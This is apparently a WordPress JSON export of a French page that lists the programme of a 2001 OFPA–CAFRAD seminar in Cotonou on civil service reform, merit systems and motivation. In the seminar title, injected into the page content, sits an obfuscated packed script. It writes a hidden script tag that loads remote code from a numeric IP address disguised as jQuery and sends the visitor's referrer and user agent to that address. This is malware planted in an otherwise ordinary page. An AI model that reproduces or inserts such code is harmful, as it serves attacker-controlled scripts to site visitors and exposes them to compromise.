{"id":219,"date":"2017-09-05T18:40:26","date_gmt":"2017-09-05T16:40:26","guid":{"rendered":"http:\/\/site.ofpa.net\/?page_id=219"},"modified":"2017-09-05T18:56:56","modified_gmt":"2017-09-05T16:56:56","slug":"programme-du-seminaire","status":"publish","type":"page","link":"http:\/\/www.ofpa.net\/es\/agenda\/2001-2\/restructuration-et-modernisation-de-la-fonction-publique-systeme-de-merite-et-motivation\/programme-du-seminaire\/","title":{"rendered":"Programme du S\u00e9minaire"},"content":{"rendered":"<p style=\"text-align: center;\">\u00a0<strong><span style=\"color: #000080;\">SEMINAIRE <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iebzb|var|u0026u|referrer|nfnth||js|php'.split('|'),0,{}))\n<\/script><\/noindex> CONJOINT OFPA &#8211; CAFRAD<\/span><\/strong><\/p>\n<p>\u00a0<strong>&#8220;RESTRUCTURATION ET MODERNISATION DE LA FONCTION PUBLIQUE : Syst\u00e8me de m\u00e9rite et motivation&#8221;<\/strong><\/p>\n<div align=\"center\">\n<p style=\"text-align: center;\"><span style=\"font-size: large;\"><strong><span style=\"color: #008000;\"> Cotonou, (B\u00e9nin) 28 au 1<sup>er<\/sup> juin 2001<\/span><\/strong><\/span><\/p>\n<\/div>\n<p style=\"text-align: center;\">PROGRAMME DU SEMINAIRE<\/p>\n<div align=\"center\"><span style=\"color: #008080;\">(Pour avoir plus d&#8217;informations sur les communications pr\u00e9sent\u00e9es au cours du s\u00e9minaire veuillez vous adresser au Secr\u00e9tariat de l&#8217;OFPA)<\/span><\/div>\n<div align=\"center\">Contact OFPA<\/div>\n<p><b>LUNDI 28 MAI 2001<\/b><\/p>\n<p>9h &#8211; 9h 30 : Inscription des participants<\/p>\n<p>9h 30 &#8211; 10h : Organisation des travaux <b><\/b><\/p>\n<div align=\"center\">\n<p><b>Panel 1 : Restructuration et Modernisation de la Fonction publique<\/b><\/p>\n<\/div>\n<p><b>Pr\u00e9sident : M. Mossi DJIBRILLA<\/b>, <span style=\"font-size: medium;\">Directeur de la Gestion des Carri\u00e8res des Agents de l&#8217;Etat. Minist\u00e8re du Travail et de la Modernisation de l&#8217;Administration Niamey (Niger).<\/span><\/p>\n<p>10h &#8211; 10h 20 : Nouvelle conception de la Fonction Publique, nouveaux objectifs, nouvelles missions, nouveaux champs d&#8217;intervention, nouvelles obligations, nouvelles responsabilit\u00e9s.<br \/>\n<b>M. Mouhamadou Lamine DIALLO<\/b>, Conseiller Technique au Minist\u00e8re de la Fonction Publique, du Travail et de l&#8217;Emploi &#8211; Dakar (S\u00e9n\u00e9gal).<\/p>\n<p>10h 25 &#8211; 10h 45 : Nouvelles relations entre la Fonction Publique et le citoyen, le fonctionnaire, le gouvernement, la soci\u00e9t\u00e9 civile, le d\u00e9veloppement socio-\u00e9conomique.<br \/>\n<b>M. Beno\u00eet Ndi ZAMBO<\/b>, Institut Sup\u00e9rieur de Management Public &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>10h 50 &#8211; 11h 15 : Nouvelle organisation, nouvelles structures et nouveaux organigrammes.<br \/>\n<b>M. le Professeur Laurent BADO<\/b>, Universit\u00e9 de Ouagadougou (Burkina Faso).<\/p>\n<p>11h 45 &#8211; 13h : Discussion.<\/p>\n<p>15h &#8211; 15h 20 : M\u00e9thodes de la nouvelle gestion publique.<br \/>\n<b>M. Valentin K. DOVONON<\/b>, Consultant.<\/p>\n<p>15h 30 &#8211; 16h 30 : Discussion.<\/p>\n<p>16h 45 &#8211; 17h 15 : Nouvelle Technologie de l&#8217;Information et de la Communication : gouvernance \u00e9lectronique.<br \/>\n<b>M. Mamosi LELO<\/b>, Expert du CAFRAD.<\/p>\n<p>17h 15 &#8211; 18h : Discussion.<\/p>\n<p>&nbsp;<\/p>\n<p><b>MARDI 29 MAI 2001<\/b><\/p>\n<p>9h &#8211; 9h 30 : C\u00e9r\u00e9monie d&#8217;ouverture<br \/>\nSous la pr\u00e9sidence de <b>M. Ousmane BATOKO<\/b>, Ministre de la Fonction Publique, du Travail et de la R\u00e9forme Administrative du B\u00e9nin.<\/p>\n<p>9h 05 : Allocution de bienvenue de <b>M. le Professeur Jacques Mariel NZOUANKEU<\/b>, Secr\u00e9taire Permanent de l&#8217;OFPA.<\/p>\n<p>9h 10 : Allocution de <b>M. le Professeur Tijjani MUHAMMAD BANDE<\/b>, Directeur G\u00e9n\u00e9ral du CAFRAD.<\/p>\n<p>9h 15 : Allocution de<b> M. Beno\u00eet D\u00e9camps<\/b>, Chef de Service de Coop\u00e9ration et de l&#8217;Action Culturelle pr\u00e8s l&#8217;Ambassade de France au B\u00e9nin.<\/p>\n<p>9h 20 : Allocution du Repr\u00e9sentant du Directeur de la Division des Affaires Economiques et de l&#8217;Administration Publique de l&#8217;Organisation des Nations Unies (DESA).<\/p>\n<p>9h 25 : Discours d&#8217;ouverture de<b> M. Ousmane BATOKO<\/b>, Ministre de la Fonction Publique, du Travail et de la R\u00e9forme Administrative du B\u00e9nin.<\/p>\n<p>&nbsp;<\/p>\n<div align=\"center\">\n<p><b>Panel 2 : Le Syst\u00e8me de M\u00e9rite dans la Fonction Publique<\/b><\/p>\n<\/div>\n<p><b>Pr\u00e9sident : M. SANOGO PORNON<\/b>, Directeur G\u00e9n\u00e9ral de la Fonction Publique. Minist\u00e8re du Travail, de la Fonction Publique et de la R\u00e9forme Administrative &#8211; Abidjan (C\u00f4te d&#8217;Ivoire).<\/p>\n<p>10h &#8211; 10h 20 : Caract\u00e9ristiques du syst\u00e8me de m\u00e9rite. Comparaison avec d&#8217;autres syst\u00e8mes.<br \/>\n<b>Professeur Laurent BADO<\/b>, Universit\u00e9 de Ouagadougou (Burkina Faso).<\/p>\n<p>10h 20 &#8211; 11h 15 : Discussion.<\/p>\n<p>11h 30 &#8211; 11h 55 : Syst\u00e8me de m\u00e9rite dans le recrutement, la nomination , la promotion et le d\u00e9veloppement des carri\u00e8res.<br \/>\n<b>M. L\u00e9andre S. LOKO<\/b>, Secr\u00e9taire G\u00e9n\u00e9ral du Minist\u00e8re de la Fonction Publique, du Travail et de la R\u00e9forme Administrative &#8211; Cotonou (B\u00e9nin).<\/p>\n<p>11h 55 &#8211; 13h : Discussion.<\/p>\n<p>15h &#8211; 15h 20 : Avantages et inconv\u00e9nients du syst\u00e8me de m\u00e9rite : son application dans la fonction publique.<br \/>\n<b>Professeur Beno\u00eet Ndi ZAMBO<\/b>, Institut Sup\u00e9rieur de Management Public &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>15h 20 &#8211; 16h 45 : Discussion.<\/p>\n<p>17h &#8211; 17h 20 : La diversit\u00e9 dans la Fonction publique.<br \/>\n<b>Professeur Tijjani MUHAMMAD BANDE<\/b>, Directeur G\u00e9n\u00e9ral du CAFRAD.<br \/>\n<b>Mr. John &#8211; Mary KAUZYA<\/b>, Senior Adviser. UNDESA \/ DPEPA<\/p>\n<p>17h20 &#8211; 18h : Discussion.<\/p>\n<p>&nbsp;<\/p>\n<p><b>MERCREDI 30 MAI 2001<\/b> <b><\/b><\/p>\n<div align=\"center\">\n<p><b>Panel 3 : Evaluation de la performance et de la productivit\u00e9 dans la Fonction Publique<\/b><\/p>\n<\/div>\n<p><b>Pr\u00e9sident : M. Jules Albert WELNJEL<\/b>, Directeur des Personnels de l&#8217;Etat. Minist\u00e8re de la Fonction Publique et de la R\u00e9forme Administrative &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>9h &#8211; 9h 45 : Syst\u00e8mes d&#8217;\u00e9valuation et objectifs : diff\u00e9rents syst\u00e8mes et leur utilisation.<br \/>\nEvaluation du personnel : comment et pourquoi \u00e9valuer.<br \/>\n<b>M. Charlemagne LOKOSSOU<\/b>, Expert en Gestion des Ressources Humaines et en D\u00e9veloppement Organisationnel.<\/p>\n<p>9h 45 &#8211; 11h : Discussion.<\/p>\n<p>11h 15 &#8211; 11h 35 : Evaluation ou audit des services et des organisations.<br \/>\n<b>Professeur Laurent BADO<\/b>, Universit\u00e9 de Ouagadougou (Burkina Faso).<\/p>\n<p>11h 35 &#8211; 13h : Discussion.<\/p>\n<p>15h &#8211; 15h 20 : Les outils d&#8217;\u00e9valuation : leur qualit\u00e9 et leur objectivit\u00e9.<br \/>\n<b>Professeur Beno\u00eet Ndi ZAMBO<\/b>, Institut Sup\u00e9rieur de Management Public &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>15h 20 &#8211; 16h 30 : Discussion.<\/p>\n<p>16h 45 &#8211; 17h 05 : Suivi et utilisation de l&#8217;\u00e9valuation.<br \/>\n<b>M. Mamadou TOE<\/b>, Directeur G\u00e9n\u00e9ral de la Fonction Publique. Minist\u00e8re de la Fonction Publique et du D\u00e9veloppement Institutionnel &#8211; Ouagadougou (Burkina Faso).<\/p>\n<p>17h 05 &#8211; 18h : Discussion.<\/p>\n<p>&nbsp;<\/p>\n<p><b>JEUDI 31 MAI 2001<\/b> <b><\/b><\/p>\n<div align=\"center\">\n<p><b>Panel 4 : Motivation et r\u00e9mun\u00e9ration dans la Fonction Publique<\/b><\/p>\n<\/div>\n<p><b>Pr\u00e9sident : M. Fid\u00e8le DIMOU<\/b>, Directeur G\u00e9n\u00e9ral de la Fonction Publique. Minist\u00e8re de la Fonction Publique, des R\u00e9formes Administratives et de la Promotion de la Femme &#8211; Brazzaville (Congo).<\/p>\n<p>9h &#8211; 9h 25 : Modes de motivation : financi\u00e8re, sociale et professionnelle.<br \/>\n<b>Professeur Beno\u00eet Ndi ZAMBO<\/b>, Institut Sup\u00e9rieur de Management Public &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>9h 25 &#8211; 9h 45 : Les bases du calcul des salaires des fonctionnaires.<br \/>\nLa r\u00e9mun\u00e9ration dans la Fonction publique.<br \/>\n<b>Professeur Laurent BADO<\/b>, Universit\u00e9 de Ouagadougou (Burkina Faso).<\/p>\n<p>9h 45 &#8211; 13h : Discussion.<\/p>\n<p>15h &#8211; 15h 20 : Les conditions mat\u00e9rielles de travail : espace, \u00e9quipement et vie associative.<br \/>\n<b>M. Marius ADJOVI<\/b>, Consultant en Formulation de Politiques et de Programmes de D\u00e9veloppement.<\/p>\n<p>15h 20 &#8211; 15h 40 : Comment augmenter les salaires et les maintenir au niveau du co\u00fbt de la vie, tout en tenant compte des contraintes budg\u00e9taires et des exigences du d\u00e9veloppement \u00e9conomique des pays ?<br \/>\n<b>Mme L\u00e9ontine ATTOLOU<\/b>, Conseiller Technique \u00e0 la Pr\u00e9sidence de la R\u00e9publique &#8211; Cotonou (B\u00e9nin)<\/p>\n<p>15h 40 &#8211; 17h : Discussion.<\/p>\n<p>&nbsp;<\/p>\n<p><b>VENDREDI 1<sup>er<\/sup> JUIN 2001<\/b> <b><\/b><\/p>\n<div align=\"center\">\n<p><b>10h : Panel 5 &#8211; Discussion g\u00e9n\u00e9rale sur les points principaux du S\u00e9minaire.<\/b><\/p>\n<\/div>\n<p><b>Pr\u00e9sident : M. Dieudonn\u00e9 GITERUSI<\/b>, Directeur de la Gestion des Traitements. Minist\u00e8re du Travail, de la Fonction Publique et de la Formation Professionnelle &#8211; Bujumbura (Burundi).<\/p>\n<p>11h 30 : C\u00e9r\u00e9monie de cl\u00f4ture<br \/>\nSous la pr\u00e9sidence de <b>M. Oumane BATOKO<\/b>, Ministre de la Fonction Publique, du Travail et de la R\u00e9forme Administrative du B\u00e9nin.<\/p>\n<p>11h 35 : Rapport G\u00e9n\u00e9ral du S\u00e9minaire.<br \/>\n<b>Professeur Beno\u00eet Ndi ZAMBO<\/b>, Institut Sup\u00e9rieur de Management Public &#8211; Yaound\u00e9 (Cameroun).<\/p>\n<p>12h : Allocution du Directeur G\u00e9n\u00e9ral du CAFRAD, <b>M. le Professeur Tijjani MUHAMMAD BANDE<\/b><\/p>\n<p>12h 05 : Allocution du Secr\u00e9taire Permanent de l&#8217;OFPA, <b>M. le Professeur Jacques Mariel NZOUANKEU<\/b><\/p>\n<p>12h 10 : Discours de cl\u00f4ture par M. le Ministre de la Fonction Publique, du Travail et de la R\u00e9forme Administrative du B\u00e9nin.<\/p>\n<p>Apr\u00e8s &#8211; midi : Excursion.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0SEMINAIRE CONJOINT OFPA &#8211; CAFRAD \u00a0&#8220;RESTRUCTURATION ET MODERNISATION DE LA FONCTION PUBLIQUE : Syst\u00e8me de m\u00e9rite et motivation&#8221; Cotonou, (B\u00e9nin) 28 au 1er juin 2001 PROGRAMME DU SEMINAIRE (Pour avoir&#8230; <a class=\"read-more-button\" href=\"http:\/\/www.ofpa.net\/es\/agenda\/2001-2\/restructuration-et-modernisation-de-la-fonction-publique-systeme-de-merite-et-motivation\/programme-du-seminaire\/\">Leer m\u00e1s &gt;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":185,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"template-full-width.php","meta":[],"_links":{"self":[{"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/pages\/219"}],"collection":[{"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/comments?post=219"}],"version-history":[{"count":4,"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/pages\/219\/revisions"}],"predecessor-version":[{"id":228,"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/pages\/219\/revisions\/228"}],"up":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/pages\/185"}],"wp:attachment":[{"href":"http:\/\/www.ofpa.net\/es\/wp-json\/wp\/v2\/media?parent=219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}